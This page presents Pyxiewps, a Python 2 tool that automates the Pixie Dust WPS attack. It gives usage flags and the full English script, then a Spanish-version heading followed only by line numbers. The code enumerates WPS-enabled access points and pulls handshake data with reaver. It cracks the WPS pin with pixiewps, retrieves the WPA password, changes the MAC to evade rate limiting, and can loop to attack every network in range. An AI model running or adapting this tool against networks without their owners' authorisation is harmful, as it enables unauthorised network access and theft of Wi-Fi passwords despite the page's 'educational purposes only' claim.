
Pyxiewps is a wireless attack tool to retrieve the WPS pin in seconds.
Pyxiewps is a wireless attack tool writen in python that uses reaver, pixiewps, macchanger and aircrack to retrieve the WPS pin of any vulnerable AP in seconds. It is meant for educational purposes only.
It enumerates all the APs with active WPS, tries to get the PKE, PKR, E-NONCE, R-NONCE, AUTHKEY, HASH1 and 2 using the patched version of reaver, then passes all that information to pixiewps program so that it can retrieve the WPS pin, and finally runs reaver again with the pin that pixiewps found to get the AP WPA password.
USAGE :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
python pyxiewps-[LANGUAGE].py <arguments> -r --use-reaver Use reaver to get all the AP information. [False] -p --use-pixie Once all the data is captured with reaver [False] the script tries to get the WPS pin with pixiewps. -w --wash-time [time] Set the time used to enumerate all the WPS-active APs. [15] -t --time [time] Set the time used to get the hex data from the AP. [6] -c --channel [channel] Set the listening channel to enumerate the WPS-active APs. If not set, all channels are listened. -P --prompt If more than one WPS-active AP is found, ask the user [False] the target to attack. -o --output [file] Outputs all the data into a file. -f --pass If the WPS pin is found, the script uses reaver again to retrieve the WPA password of the AP. -q --quiet Doesn't print the AP information. Will print the WPS pin and pass if found. -F --forever Runs the program on a While loop so the user can scan and attack a hole zone without having to execute the program over and over again. -O --override Doesn't prompt the user if the WPS pin of the current AP has already been found. DOESN'T SKIP THE AP, the script attacks it again. |
pyxiewps-EN.py Script :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 |
from os import kill, system, path, chdir from signal import alarm, signal, SIGALRM, SIGKILL import time import subprocess from re import sub, compile, search from sys import argv REAVER = 'reaver' PIXIEWPS = 'pixiewps' WASH = 'wash' AIRMON = 'airmon-ng' MACCHANGER = 'macchanger' GIT = 'git' INFO = '\033[32m[+] \033[0m' # green ALERTA = '\033[31m[!] \033[0m' # red INPUT = '\033[34m[>] \033[0m' # blue DATA = '\033[33m[DATA] \033[0m' # yellow OPCION = '\033[33m[!!!] \033[0m' # yellow USE_REAVER = False # If False, uses wash and finishes. USE_PIXIEWPS = False # Tries to get the WPS pin with pixiewps WASH_TIME = 11 # Time to enumerate the APs with active WPS WASH_CHANNEL = '' # All channels REAVER_TIME = 6 # Time to get all the useful AP information with reaver CHOICES_YES = ['Y', 'y', '', 'yes', 'Yes'] CHOICES_NOPE = ['N', 'n', 'no', 'No'] PROMPT_APS = False OUTPUT = False OUTPUT_FILE = 'data.txt' PRINT_REAVER = True PRINT_PIXIE = True GET_PASSWORD = False FOREVER = False OVERRIDE = False def banner(): """ Prints the banner into the screen """ print print "\t ____ _ " print "\t| _ \ _ ___ _(_) _____ ___ __ ___ " print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / \'_ \/ __|" print "\t| __/| |_| |> <| | __/\ V V /| |_) \__ \\" print "\t|_| \__, /_/\_\_|\___| \_/\_/ | .__/|___\\" print "\t |___/ |_| " print print "\tMade by jgilhutton <pyxiewps@gmail.com>" print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg" print "\tCopyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>" print "\tPixiewps Copyright (c) 2015, wiire <wi7ire@gmail.com>" print "\tMacchanger by Alvaro Ortega Copyright (C) 2003 Free Software Foundation, Inc." print def arg_parser(): """ Parses the arguments and calls the help() function if any problem is found """ global PRINT_PIXIE global PRINT_REAVER global USE_REAVER global USE_PIXIEWPS global WASH_TIME global REAVER_TIME global WASH_CHANNEL global PROMPT_APS global OUTPUT_FILE global OUTPUT global GET_PASSWORD global FOREVER global OVERRIDE H = ['-h','--help'] binary_flags = ['-w','-t','-c','-o'] for arg in argv[1:]: if arg in H: help() exit() elif argv[argv.index(arg)-1] in binary_flags: continue elif arg == '-q' or arg == '--quiet': PRINT_PIXIE = False PRINT_REAVER = False elif arg == '-r' or arg == '--use-reaver': USE_REAVER = True elif arg == '-p' or arg == '--use-pixie': USE_PIXIEWPS = True elif arg == '-w' or arg == '--wash-time': try: WASH_TIME = int(argv[argv.index(arg)+1]) except ValueError: help() elif arg == '-t' or arg == '--time': try: REAVER_TIME = int(argv[argv.index(arg)+1]) except ValueError: help() elif arg == '-c' or arg == '--channel': try: WASH_CHANNEL = int(argv[argv.index(arg)+1]) except ValueError: help() elif arg == '-P' or arg == '--prompt': PROMPT_APS = True elif arg == '-o' or arg == '--output': OUTPUT = True OUTPUT_FILE = argv[argv.index(arg)+1] elif arg == '-f' or arg == '--pass': GET_PASSWORD = True elif arg == '-F' or arg == '--forever': FOREVER = True elif arg == '-O' or arg == '--override': OVERRIDE = True else: help() def help(): """ Help information """ print print "script -r -p -w 15 -t 6 -c 7 -P -o file.txt -f" print "script --use-reaver --use-pixie --wash-time 15 --time 6 --channel 7 --prompt --output file.txt -h" print print '\t-r --use-reaver Use reaver to get all the AP information. [False]' print '\t-p --use-pixie Once all the data is captured with reaver [False]' print '\t the script tries to get the WPS pin with pixiewps.' print '\t-w --wash-time [time] Set the time used to enumerate all the WPS-active APs. [15]' print '\t-t --time [time] Set the time used to get the hex data from the AP. [6]' print '\t-c --channel [channel] Set the listening channel to enumerate the WPS-active APs.' print '\t If not set, all channels are listened.' print '\t-P --prompt If more than one WPS-active AP is found, ask the user [False]' print '\t the target to attack.' print '\t-o --output [file] Outputs all the data into a file.' print '\t-f --pass If the WPS pin is found, the script uses reaver again to retrieve' print '\t the WPA password of the AP.' print '\t-q --quiet Doesn\'t print the AP information. Will print the WPS pin and pass if found.' print '\t-F --forever Runs the program on a While loop so the user can scan and attack a hole' print '\t zone without having to execute the program over and over again.' print '\t-O --override Doesn\'t prompt the user if the WPS pin of the current AP has already' print '\t been found. DOESN\'T SKIP THE AP, the script attacks it again.' print exit() class Engine(): """ Manage the Config functions and start the program """ def __init__(self): self.REAVER = True self.PIXIEWPS = True self.WASH = True self.AIRMON = True self.MACCHANGER = True self.GIT = True def start(self): """ Main function """ chdir('/root/') if not c.check_iface(): # check_iface returns True if any previous wlan is found in monitor mode c.set_iface("UP") else: print INFO + "Previous interface was found in monitor mode: %s" %c.IFACE_MON choice = raw_input("%sDo you wish to use this interface? [Y/n] " %INPUT) if choice in CHOICES_YES: pass elif choice in CHOICES_NOPE: c.set_iface("DOWN") c.set_iface("UP") if FOREVER: while True: attack = Attack() attack.get_wps_aps() else: attack = Attack() attack.get_wps_aps() engine.exit_limpio() def parse_wash(self, linea): """ Parses the wash output Returns bssid, channel, essid """ linea = linea.split('|') bssid = linea[0] # MAC canal = linea[1] essid = linea[-1] return [bssid, canal, essid] def parse_reaver(self, output, pin_encontrado = False): """ Parses the reaver output Gets the pkr, pke, hash1 y 2, enonce, rnonce, authkey, manufacturer y model and returns all the data """ if pin_encontrado: password = '' for linea in output: if '[+] WPA PSK: ' in linea: password = sub('\[\+\] WPA PSK: ','',linea) return password if password == '': return 'no password' E_NONCE = '' R_NONCE = '' PKR = '' PKE = '' HASH1 = '' HASH2 = '' AUTHKEY = '' MANUFACTURER = '' MODEL = '' NUMBER = '' uberlista = [] lista_final = [] is_complete = False has_something = False if output == '': return 'shit' for linea in output: if 'E-Nonce' in linea: has_something = True elif 'E-Hash2' in linea: lista_final = output[0:output.index(linea)+1] # Truncates the output after the hash2 is_complete = True break elif 'Detected AP rate limiting' in linea: return 'ap rate limited' if has_something and not is_complete: return 'more time please' elif has_something == False: return 'noutput' for linea in lista_final: if 'E-Nonce' in linea: E_NONCE = sub('\[P\] E-Nonce: ','',linea) elif 'R-Nonce' in linea: R_NONCE = sub('\[P\] R-Nonce: ','',linea) elif 'PKR' in linea: PKR = sub('\[P\] PKR: ','',linea) elif 'PKE' in linea: PKE = sub('\[P\] PKE: ','',linea) elif 'E-Hash1' in linea: HASH1 = sub('\[P\] E-Hash1: ','',linea) elif 'E-Hash2' in linea: HASH2 = sub('\[P\] E-Hash2: ','',linea) elif 'AuthKey' in linea: AUTHKEY = sub('\[P\] AuthKey: ','',linea) elif 'Manufacturer' in linea: MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',linea) elif 'Model Name' in linea: MODEL = sub('\[P\] WPS Model Name: ','',linea) elif 'Model Number' in linea: NUMBER = sub('\[P\] WPS Model Number: ','',linea) elif '[+] Associated with ' in linea: ESSID = sub('\(ESSID\: ','|',linea) ESSID = ESSID.split('|')[-1][:-2] elif '[+] Waiting for beacon from ' in linea: BSSID = sub('\[\+\] Waiting for beacon from ','',linea) else: pass uberlista = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(), MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(), ESSID.strip(),BSSID.strip()] return uberlista def check(self, check_again = False): """ Check dependencies, user ID and other stuff """ if c.get_uid() != '0': print ALERTA + 'You need to run the script as root' exit() ### Programas if c.program_exists(MACCHANGER): self.MACCHANGER = True elif not check_again: print ALERTA + 'Macchanger is not installed but it isn\'t a key binary.' print ' Some APs blocks the attackers device MAC and changing the MAC' print ' is a good option to bypass the problem.' print ' The script will not change the MAC, so don\'t expect it to work' print ' on some APs.' self.MACCHANGER = False if c.program_exists(REAVER): version = c.check_reaver_version() if version == '1.5.2': self.REAVER = True else: print ALERTA + "You need other version of reaver." self.REAVER = False elif not check_again: print ALERTA + 'reaver is not installed' self.REAVER = False if c.program_exists(PIXIEWPS): self.PIXIEWPS = True elif not check_again: print ALERTA + 'pixiewps is not installed' self.PIXIEWPS = False if c.program_exists(WASH): self.WASH = True elif not check_again: print ALERTA + 'wash is not installed' self.WASH = False if c.program_exists(AIRMON): self.AIRMON = True elif not check_again: print ALERTA + 'airmon-ng is not installed' self.AIRMON = False if c.program_exists(GIT): self.GIT = True elif not check_again: self.GIT = False if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS and check_again: print INFO + "All programs were installed!" raw_input("%sPress enter to continue" %INPUT) print INFO + "Starting the attack..." elif check_again: print print ALERTA + "Some programs were not installed." print " manually check the needed dependencies" print " and run again the program after you installed them." print exit() if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS: pass else: print ALERTA + "You need all the necessary programs." print INPUT + "They are:" print "\tbuild-essential" print "\tlibpcap-dev" print "\tsqlite3" print "\tlibsqlite3-dev" print "\taircrack-ng" print "\tlibssl-dev" choice = raw_input("%sDo you wish to install them now? [Y/n]?" %INPUT) if choice in CHOICES_YES: c.get_binarios() else: exit() ###All good... engine.start() def run(self, cmd, shell = False, kill_tree = True, timeout = -1): """ Runs a command witha given time after wich is terminated returns stdout of proc. output is a list without passing strip() on the lines. """ class Alarm(Exception): pass def alarm_handler(signum, frame): raise Alarm if timeout != -1: signal(SIGALRM, alarm_handler) # Time's ticking... alarm(timeout) proc = subprocess.Popen(cmd, shell = shell, stdout = subprocess.PIPE) output = [] try: for line in iter(proc.stdout.readline, ''): output.append(line) if timeout != -1: alarm(0) except Alarm: # time's out! alarm is raised pids = [proc.pid] # kill the process tree related with the main process. if kill_tree: pids.extend(self.get_process_children(proc.pid)) for pid in pids: try: kill(pid, SIGKILL) except OSError: pass return output return output def get_process_children(self, pid): """ returns the pids of the program to kill all the process tree """ proc = subprocess.Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = subprocess.PIPE) stdout = proc.communicate()[0] return [int(p) for p in stdout.split()] def mac_changer(self): """ Change the device MAC if it's blocked by the AP """ print INFO + "Changing MAC address of the device..." system('ifconfig %s down' %c.IFACE_MON) mac = subprocess.check_output(['macchanger','-r',c.IFACE_MON]) mac = mac.split('\n')[2] mac = sub('New MAC\: ','',mac.strip()) mac = sub(' \(unknown\)','',mac) system('ifconfig %s up' %c.IFACE_MON) print INFO + "New MAC: %s%s" %(INPUT,mac.upper()) def exit_limpio(self): """ Clean before quiting """ if path.isfile('/root/pixiewps/Makefile') or path.isfile('/root/reaver-wps-fork-t6x/src/Makefile'): print OPCION + "The pixiewps and reaver files are no longer needed" print " and they live in the root home directory," choice = raw_input("%sDo you wish to erase them? [Y/n]" %INPUT) if choice in CHOICES_YES: system('cd /root && rm -r pixiewps/ && rm -r reaver-wps-fork-t6x/') if c.IS_MON: c.set_iface("DOWN") if USE_REAVER: system('rm -f /usr/local/etc/reaver/*.wpc') # Removes the reaver AP session exit() class Config(): """ Interface configuration functions and other stuff """ IFACE_MON = 'caca' IFACE = 'caca' IS_MON = False def program_exists(self, programa): """ Check the program fot its existance """ cmd = "which " + programa output = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE) output = output.communicate()[0] if output != "": return True # Exists else: return False # Nope def get_uid(self): """ Returns the user ID """ uid = subprocess.check_output(['id','-u']).strip() return uid def check_iface(self): """ Check for any monitor interfaces already set. """ cmd = "ifconfig | grep mon | cut -d \' \' -f1" # iwconfig isn't grepable mon = subprocess.check_output(cmd, shell = True).strip() if mon != '': self.IFACE_MON = mon self.IS_MON = True return True else: return False def get_iface(self): """ If any monitor interfaces are found, returns the wlans. If more than onw are found, ask the user to choose. If monitor mode is already enable, returns the name. """ if self.IS_MON: # Si la interfaz esta en modo monitor devuelve el nombre 'mon' cmd = "ifconfig | grep mon | cut -d \' \' -f1" mon = subprocess.check_output(cmd, shell = True).strip() self.IFACE_MON = mon return mon else: cmd = "ifconfig | grep wlan | cut -d \' \' -f1" proc = subprocess.check_output(cmd, shell = True) ifaces = proc.strip().split('\n') if len(ifaces) == 1 and ifaces[0] == '': print ALERTA + "No wireless interfaces were found!" print " Please check if any wireless device in your PC." print " if you are running on a virtual machine" print " go get an USB wireless device." exit() elif len(ifaces) > 1: print INPUT + "Choose the W.Interface: " for i in ifaces: print str(ifaces.index(i)) + " >> " + i while True: #Control the input! you bugseeker! try: choice = int(raw_input(INPUT)) if choice <= len(ifaces) and choice >= 0: self.IFACE = ifaces[choice] return ifaces[choice] break else: print INPUT + "Number between 0 and %s" %(len(ifaces)-1) #Index error handling except ValueError: print ALERTA + "NUMBER between 0 and %s" %(len(ifaces)-1) #Integeer error handling except KeyboardInterrupt: print print ALERTA + "Interrupted program!" print engine.exit_limpio() else: self.IFACE = ifaces[0] return ifaces[0] def set_iface(self, status): """ Wireless interface driver. Puts it on monitor mode and puts it back on normal mode. "status" variable is used only for the sake of readability and it's based on the "self.IS_MON" boolean """ if self.IS_MON: cmd = 'airmon-ng stop ' + self.get_iface() print INFO + 'Restoring %s wireless interface...' %self.IFACE_MON proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE) self.IS_MON = False print INFO + 'Done' else: cmd = 'airmon-ng start ' + self.get_iface() print INFO + 'Enabling monitor mode...' proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE) self.check_iface() print INFO + "Monitor mode enabled on %s" %self.IFACE def data_file(self, data): """ Outputs the data into a file """ system('echo DATA >> %s' %OUTPUT_FILE) with open(OUTPUT_FILE, 'a+') as f: fecha = str(time.gmtime()[1])+'-'+str(time.gmtime()[2])+'-'+str(time.gmtime()[0]) hora = str((time.gmtime()[3])-3).zfill(2)+':'+str(time.gmtime()[4]).zfill(2) f.write(fecha+' | '+hora+'\n') f.writelines(data) print INFO + "All data were saved into %s" %OUTPUT_FILE def get_binarios(self): """ Installs reaver, pixiewps and other stuff """ git = 'apt-get -y install git' reaver_dep = 'apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng' pixie_dep = 'sudo apt-get -y install libssl-dev' reaver = 'git clone https://github.com/t6x/reaver-wps-fork-t6x.git' pixiewps = 'git clone https://github.com/wiire/pixiewps.git' aircrack = 'apt-get -y install aircrack-ng' if not engine.GIT: print INFO + "Installing git..." proc4 = system(git) if not engine.AIRMON: print INFO + "Installing aircrack..." proc5 = system(aircrack) if not engine.PIXIEWPS: print INFO + "Installing pixiewps dependencies..." proc2 = system(pixie_dep) print INFO + "Downloading pixiewps..." proc3 = system(pixiewps) if not engine.REAVER: print INFO + "Installing reaver dependencies..." proc = system(reaver_dep) print INFO + "Downloading reaver..." proc1 = system(reaver) if path.isdir('pixiewps') and not engine.PIXIEWPS: print INFO + "Installing pixiewps..." system('cd pixiewps/src && make && make install') print INFO + "Done" if path.isdir('reaver-wps-fork-t6x') and not engine.REAVER: print INFO + "Installing reaver..." system('cd reaver-wps-fork-t6x* && cd src && ./configure && make && make install') print INFO + "Done" engine.check(check_again = True) def check_reaver_version(self): """ Returns reaver version if it's installed """ output = subprocess.Popen('reaver -h', shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE) output = output.communicate() if 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[0] and 'mod by t6_x' in output[0]: return '1.5.2' elif output[0] != '': return output[0][9:12] elif 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[1] and 'mod by t6_x' in output[1]: return '1.5.2' elif output[1] != '': return output[1][9:12] class Attack(): """ Attack functions """ def get_wps_aps(self): """ Enumerates any WPS-active APs Goes to get_reaver_info """ print INFO + "Enumerating WPS-active APs..." cmd = 'wash -i %s -P' %(c.IFACE_MON) if WASH_CHANNEL != '': cmd = cmd + ' -c %d' %WASH_CHANNEL lista_aps = engine.run(cmd, shell = True, timeout = WASH_TIME) lista_provisoria = [] ultimo = len(lista_aps)-1 for linea in lista_aps: # Some wash output glitches are often found if '|' in linea: # this handles theese glitches lista_provisoria.append(linea) # lista_aps = lista_provisoria # if lista_aps == []: print print ALERTA + "No WPS-active APs were found." print if not FOREVER: engine.exit_limpio() else: for_fill = lista_aps #\ essids = [] #| for line in for_fill: #|- Formats the list line = line.split('|') #| essids.append(line[5].strip()) #| fill = len(max(essids)) #/ print INFO + "The following WPS-active APs were found:" for linea in lista_aps: linea = linea.split('|') fill_line = fill - len(linea[5].strip()) print '\t' + INPUT + str(linea[5].strip()) + ' '*fill_line + ' || ' + linea[0] + ' || Channel: ' + linea[1] + ' || WPS locked?: ' + linea[4] if USE_REAVER: while True: try: if len(lista_aps) != 1 and PROMPT_APS: choice = int(raw_input("%sIndex of the AP: " %INPUT)) provisoria = [] provisoria.append(lista_aps[choice]) lista_aps = provisoria break else: break except KeyboardInterrupt: print engine.exit_limpio() break except ValueError: print ALERTA + "Number between 0 and %d" %ultimo if not OVERRIDE and path.isfile('pyxiewpsdata.txt'): coincidencias = [] pin_correspondiente = [] with open('pyxiewpsdata.txt') as f: ya_sacados = f.readlines() if len(ya_sacados) > 1: ya_sacados.reverse() # reverts the list so it takes the newest pin for target in lista_aps: # if any pin were changed by the AP administrator for line in ya_sacados[1:]: if target.split('|')[5].strip() == line.strip(): coincidencias.append(target) pin_correspondiente.append(ya_sacados[ya_sacados.index(line)-1].strip()) for i in set(coincidencias): print OPCION + "The %s pin was already found!" %i.split('|')[5].strip() print '\t'+ INPUT + pin_correspondiente[coincidencias.index(i)] print OPCION + "Do you want to skip this AP? [Y/n]: " try: choice = raw_input("%s Enter to skip: " %INPUT) except KeyboardInterrupt: print engine.exit_limpio() if choice in CHOICES_YES: lista_aps.remove(i) for linea in lista_aps: args = engine.parse_wash(linea.strip()) self.get_reaver_info(args[0],args[1],args[2]) if not FOREVER: engine.exit_limpio() else: pass def get_reaver_info(self, bssid, canal, essid): """ Gets all the vital information from the AP PKR, PKE, HASH1, HASH2, AUTHKEY it's in the get_wps_aps for-loop """ print INFO + "Fetching information from %s using reaver..." %essid output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',bssid,'-vv','-L','-c',canal], timeout = REAVER_TIME) data = engine.parse_reaver(output) if data == 'noutput': print print ALERTA + "Couldn\'t retrieve any information from the AP." print ALERTA + "Try with a greater time using the -t argument" print " and if it doesn\'t work out try to get a better signal." print if MACCHANGER and FOREVER: engine.mac_changer() elif MACCHANGER and not FOREVER: print ALERTA + "MAC address will not be changed because this is running only once." print " Run the program for ever by typing the -F argument in the commandline." print elif not MACCHANGER: print ALERTA + "Can not change the MAC address" print " because macchanger is not installed." print elif data == 'more time please': print print ALERTA + "The program retrieved some information from the AP but" print " not all of it. Set a greater tiem to fetch the information" print " with the -t argument. 6 seconds by default" print elif data == 'ap rate limited': print print ALERTA + "The AP doesn\'y like you!" print " That\'s why reaver couldn\'t retrieve any information" print if MACCHANGER and FOREVER: engine.mac_changer() elif MACCHANGER and not FOREVER: print ALERTA + "MAC address will not be changed because this is running only once." print " Run the program for ever by typing the -F argument in the commandline." print elif not MACCHANGER: print ALERTA + "Can not change the MAC address" print " because macchanger is not installed." print elif data == 'shit': print print "Choose a reaver session option when asked for it." if not FOREVER: engine.exit_limpio() else: print INFO + "Success!. All the needed information were found" for_file = ['ESSID: ' + data[10] + '\n','MAC: ' + data[11] + '\n','PKE: ' + data[0] + '\n', 'PKR: ' + data[1] + '\n','HASH1: ' + data[2] + '\n','HASH2: ' + data[3] + '\n', 'E-NONCE: ' + data[8] + '\n','R-NONCE: ' + data[9] + '\n','AUTHKEY: ' + data[4] + '\n', 'MANUFACTURER: ' + data[5] + '\n','MODEL: ' + data[6] + '\n','MODEL NUMBER: ' + data[7] + '\n'] if PRINT_REAVER: print for linea in for_file: print DATA + linea.strip() print if OUTPUT and not USE_PIXIEWPS: for_file.append('-'*40+'\n') c.data_file(for_file) if USE_PIXIEWPS: self.pixie_attack(data,for_file,canal) def pixie_attack(self,data,for_file,canal): """ Tries to find the WPS pin using pixiewps """ ESSID = data[10] BSSID = data[11] PKE = data[0] PKR = data[1] HASH1 = data[2] HASH2 = data[3] AUTHKEY = data[4] E_NONCE = data[8] R_NONCE = data[9] cmd = ['pixiewps','-e',PKE,'-r',PKR,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE] cmd1 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE,'-S'] cmd2 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-n',E_NONCE,'-m',R_NONCE,'-b',BSSID,'-S'] pin = '' cmd_list = [cmd, cmd1, cmd2] output = [] for command in cmd_list: try: output = subprocess.check_output(command) output = output.strip().split('\n') for linea in output: if '[+] WPS pin:' in linea: result = compile('\d+') pin = result.search(linea).group(0) break else: pass except: #Pixiewps error handling pass if pin != '': break if pin != '' and len(pin) == 8: print INFO + "WPS pin found!" print "\t" + INPUT + pin for_file.append('WPS pin: '+pin+'\n') system('echo >> pyxiewpsdata.txt') with open('pyxiewpsdata.txt','a+') as f: f.write(ESSID+'\n') f.write(pin) elif pin == '': print print ALERTA + "WPS pin was not found." print " Probably, the AP is not vulnerable to this attack" print " and never will. Move on." print if GET_PASSWORD and pin != '': self.get_password(for_file, BSSID, pin, canal) elif OUTPUT: for_file.append('-'*40+'\n') c.data_file(for_file) def get_password(self, for_file, BSSID, pin, canal): """ Once the WPS pin was found, ries to get the password. """ output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-vv','-c',canal,'-p',pin,'-L'], timeout = (REAVER_TIME+4)) password = engine.parse_reaver(output, pin_encontrado = True) if password == 'no password': print print ALERTA + "Can't get the password right now but you can" print " use the WPS pin to access the wireless network." print else: print INFO + "Password found!" print '\t' + INPUT + password.strip() if OUTPUT: for_file.append('Password: ' + password + '\n'+'-'*40+'\n') c.data_file(for_file) if __name__ == '__main__': arg_parser() banner() try: c = Config() engine = Engine() engine.check() except KeyboardInterrupt, EOFError: print print ALERTA + "Interrupted program!" print engine.exit_limpio() |
pyxiewps-ES.py Script :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 